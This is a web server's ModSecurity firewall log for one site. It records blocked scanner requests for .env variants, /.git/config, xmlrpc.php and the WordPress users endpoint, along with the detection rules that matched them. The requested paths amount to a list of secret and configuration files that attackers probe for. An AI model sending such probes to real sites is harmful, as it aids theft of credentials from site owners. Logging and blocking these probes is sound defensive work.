[Tue May 05 13:18:36.988440 2026] [:error] [pid 25745:tid 25804] [client 20.220.198.155:12761] [client 20.220.198.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "afl9rJsd7hb7vrvCNBnxHQAAAMM"]
[Tue May 05 13:32:33.149333 2026] [:error] [pid 25835:tid 25859] [client 104.215.157.3:17756] [client 104.215.157.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "afmA8VDT5nGJyh1439x8lAAAARY"]
[Tue May 05 13:32:33.539697 2026] [:error] [pid 54732:tid 54734] [client 104.215.157.3:16008] [client 104.215.157.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "afmA8bGgYlDOb3nfuJSM_gAAAEA"]
[Tue May 05 13:32:33.901654 2026] [:error] [pid 54732:tid 54753] [client 104.215.157.3:16059] [client 104.215.157.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "afmA8bGgYlDOb3nfuJSNAAAAAFM"]
[Tue May 05 13:32:34.318203 2026] [:error] [pid 54732:tid 54745] [client 104.215.157.3:16028] [client 104.215.157.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "afmA8rGgYlDOb3nfuJSNBQAAAEs"]
[Tue May 05 15:12:10.478284 2026] [:error] [pid 25835:tid 25845] [client 216.81.248.217:58118] [client 216.81.248.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afmYSlDT5nGJyh1439ycngAAAQg"]
[Tue May 05 15:35:12.810645 2026] [:error] [pid 54732:tid 54742] [client 43.133.187.11:49676] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afmdsLGgYlDOb3nfuJTJggAAAEg"]
[Tue May 05 16:57:27.260343 2026] [:error] [pid 25745:tid 25814] [client 106.200.20.64:31758] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmw95sd7hb7vrvCNBkpVQAAAM0"]
[Tue May 05 16:57:37.682032 2026] [:error] [pid 54732:tid 54755] [client 106.200.20.64:21102] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmxAbGgYlDOb3nfuJTsfQAAAFU"]
[Tue May 05 16:57:48.381104 2026] [:error] [pid 25835:tid 25856] [client 106.200.20.64:30453] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmxDFDT5nGJyh1439y7vwAAARM"]
[Tue May 05 16:57:58.900783 2026] [:error] [pid 54732:tid 54741] [client 106.200.20.64:11676] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmxFrGgYlDOb3nfuJTspAAAAEc"]
[Tue May 05 16:58:09.360899 2026] [:error] [pid 54732:tid 54753] [client 106.200.20.64:8605] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmxIbGgYlDOb3nfuJTssAAAAFM"]
[Tue May 05 16:58:19.969415 2026] [:error] [pid 25744:tid 25775] [client 106.200.20.64:11032] [client 106.200.20.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.20.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmxKyR8IuyzjkW06OPAlwAAAIE"]
[Tue May 05 17:03:01.986408 2026] [:error] [pid 25835:tid 25849] [client 202.141.37.88:48328] [client 202.141.37.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.37.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmyRVDT5nGJyh1439y9IgAAAQw"]
[Tue May 05 17:03:11.814487 2026] [:error] [pid 25745:tid 25813] [client 202.141.37.88:10804] [client 202.141.37.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.37.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmyT5sd7hb7vrvCNBkqowAAAMw"]
[Tue May 05 17:03:22.324774 2026] [:error] [pid 25743:tid 25751] [client 202.141.37.88:10927] [client 202.141.37.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.37.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmyWm-PCMRhF5DdUnOuyAAAAAQ"]
[Tue May 05 17:03:32.869264 2026] [:error] [pid 54732:tid 54751] [client 202.141.37.88:43591] [client 202.141.37.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.37.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmyZLGgYlDOb3nfuJTwBgAAAFE"]
[Tue May 05 17:03:43.482186 2026] [:error] [pid 54732:tid 54742] [client 202.141.37.88:3106] [client 202.141.37.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.37.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afmyb7GgYlDOb3nfuJTwSAAAAEg"]
[Tue May 05 18:04:30.827283 2026] [:error] [pid 25745:tid 25807] [client 34.91.167.135:50648] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "afnArpsd7hb7vrvCNBk4IAAAAMY"]
[Tue May 05 18:04:31.177595 2026] [:error] [pid 25835:tid 25857] [client 34.91.167.135:50660] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "afnAr1DT5nGJyh1439zNFQAAARQ"]
[Tue May 05 18:04:31.235607 2026] [:error] [pid 2324:tid 2341] [client 34.91.167.135:50668] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "afnAr2qe2hrcI52A1HxGEwAAAU8"]
[Tue May 05 18:04:31.249620 2026] [:error] [pid 2324:tid 2326] [client 34.91.167.135:50664] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "afnAr2qe2hrcI52A1HxGFAAAAUA"]
[Tue May 05 18:04:31.348349 2026] [:error] [pid 25745:tid 25819] [client 34.91.167.135:50684] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "afnAr5sd7hb7vrvCNBk4IwAAANI"]
[Tue May 05 18:04:31.709092 2026] [:error] [pid 25745:tid 25805] [client 34.91.167.135:50702] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.local"] [unique_id "afnAr5sd7hb7vrvCNBk4JQAAAMQ"]
[Tue May 05 18:04:31.715847 2026] [:error] [pid 25745:tid 25815] [client 34.91.167.135:50700] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "afnAr5sd7hb7vrvCNBk4JgAAAM4"]
[Tue May 05 18:04:31.766556 2026] [:error] [pid 25745:tid 25801] [client 34.91.167.135:50712] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "afnAr5sd7hb7vrvCNBk4JwAAAMA"]
[Tue May 05 18:04:31.926503 2026] [:error] [pid 25745:tid 25824] [client 34.91.167.135:50718] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "afnAr5sd7hb7vrvCNBk4KAAAANc"]
[Tue May 05 18:04:31.927556 2026] [:error] [pid 25745:tid 25825] [client 34.91.167.135:50726] [client 34.91.167.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development.local"] [unique_id "afnAr5sd7hb7vrvCNBk4KQAAANg"]
[Tue May 05 19:02:46.286897 2026] [:error] [pid 25744:tid 25786] [client 65.108.78.33:17200] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afnOViR8IuyzjkW06OPb_wAAAIw"]
[Tue May 05 19:02:48.269213 2026] [:error] [pid 2324:tid 2328] [client 65.108.78.33:17206] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afnOWGqe2hrcI52A1Hxa5wAAAUI"]
[Tue May 05 19:02:50.206214 2026] [:error] [pid 25745:tid 25816] [client 65.108.78.33:17208] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afnOWpsd7hb7vrvCNBk_bwAAAM8"]
[Tue May 05 19:02:52.230367 2026] [:error] [pid 25744:tid 25792] [client 65.108.78.33:37706] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afnOXCR8IuyzjkW06OPcAwAAAJI"]
[Tue May 05 19:02:54.222554 2026] [:error] [pid 2324:tid 2332] [client 65.108.78.33:37720] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afnOXmqe2hrcI52A1Hxa6gAAAUY"]
[Tue May 05 19:02:56.210161 2026] [:error] [pid 2324:tid 2350] [client 65.108.78.33:37728] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afnOYGqe2hrcI52A1Hxa7QAAAVg"]
[Tue May 05 19:02:58.200127 2026] [:error] [pid 2324:tid 2346] [client 65.108.78.33:37736] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afnOYmqe2hrcI52A1Hxa8AAAAVQ"]
[Tue May 05 19:03:00.342759 2026] [:error] [pid 25744:tid 25778] [client 65.108.78.33:37744] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afnOZCR8IuyzjkW06OPcDAAAAIQ"]
[Tue May 05 19:03:02.422301 2026] [:error] [pid 2324:tid 2342] [client 65.108.78.33:46554] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afnOZmqe2hrcI52A1Hxa9gAAAVA"]
[Tue May 05 19:03:13.908191 2026] [:error] [pid 25745:tid 25802] [client 65.108.78.33:17254] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afnOcZsd7hb7vrvCNBk_iQAAAME"]
[Tue May 05 19:03:15.793503 2026] [:error] [pid 25745:tid 25823] [client 65.108.78.33:17256] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afnOc5sd7hb7vrvCNBk_jgAAANY"]
[Tue May 05 19:03:17.776392 2026] [:error] [pid 25744:tid 25783] [client 65.108.78.33:17262] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afnOdSR8IuyzjkW06OPcIwAAAIk"]
[Tue May 05 19:03:19.648532 2026] [:error] [pid 25745:tid 25812] [client 65.108.78.33:17270] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afnOd5sd7hb7vrvCNBk_lAAAAMs"]
[Tue May 05 19:03:21.703204 2026] [:error] [pid 25745:tid 25813] [client 65.108.78.33:17278] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afnOeZsd7hb7vrvCNBk_mAAAAMw"]
[Tue May 05 19:03:23.731903 2026] [:error] [pid 2324:tid 2347] [client 65.108.78.33:54894] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afnOe2qe2hrcI52A1HxbBgAAAVU"]
[Tue May 05 19:03:25.694606 2026] [:error] [pid 25744:tid 25798] [client 65.108.78.33:54902] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afnOfSR8IuyzjkW06OPcKgAAAJg"]
[Tue May 05 19:03:27.703584 2026] [:error] [pid 25743:tid 25769] [client 65.108.78.33:54908] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afnOf2-PCMRhF5DdUnPKbAAAABY"]
[Tue May 05 19:03:29.683717 2026] [:error] [pid 25743:tid 25755] [client 65.108.78.33:54920] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afnOgW-PCMRhF5DdUnPKbwAAAAg"]
[Tue May 05 19:03:31.651100 2026] [:error] [pid 25744:tid 25791] [client 65.108.78.33:54936] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afnOgyR8IuyzjkW06OPcMwAAAJE"]
[Tue May 05 19:03:33.798860 2026] [:error] [pid 25744:tid 25775] [client 65.108.78.33:1788] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afnOhSR8IuyzjkW06OPcOQAAAIE"]
[Tue May 05 19:03:35.750724 2026] [:error] [pid 25744:tid 25796] [client 65.108.78.33:1804] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afnOhyR8IuyzjkW06OPcPgAAAJY"]
[Tue May 05 19:03:37.787300 2026] [:error] [pid 25743:tid 25767] [client 65.108.78.33:1808] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afnOiW-PCMRhF5DdUnPKegAAABQ"]
[Tue May 05 19:03:39.718524 2026] [:error] [pid 25745:tid 25811] [client 65.108.78.33:1816] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afnOi5sd7hb7vrvCNBk_qQAAAMo"]
[Tue May 05 19:03:41.743767 2026] [:error] [pid 2324:tid 2348] [client 65.108.78.33:1820] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afnOjWqe2hrcI52A1HxbFAAAAVY"]
[Tue May 05 19:41:25.978984 2026] [:error] [pid 25835:tid 25847] [client 43.173.1.57:59290] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afnXZVDT5nGJyh1439zapwAAAQo"]
[Tue May 05 20:49:36.065726 2026] [:error] [pid 25745:tid 25810] [client 189.7.125.182:2028] [client 189.7.125.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.7.125.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afnnYJsd7hb7vrvCNBlNIAAAAMk"]
[Tue May 05 20:51:11.093393 2026] [:error] [pid 25744:tid 25790] [client 189.7.125.182:2022] [client 189.7.125.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afnnvyR8IuyzjkW06OP1UAAAAJA"]
[Tue May 05 20:51:43.096139 2026] [:error] [pid 25743:tid 25748] [client 189.7.125.182:1835] [client 189.7.125.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.7.125.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afnn32-PCMRhF5DdUnPrqAAAAAE"]
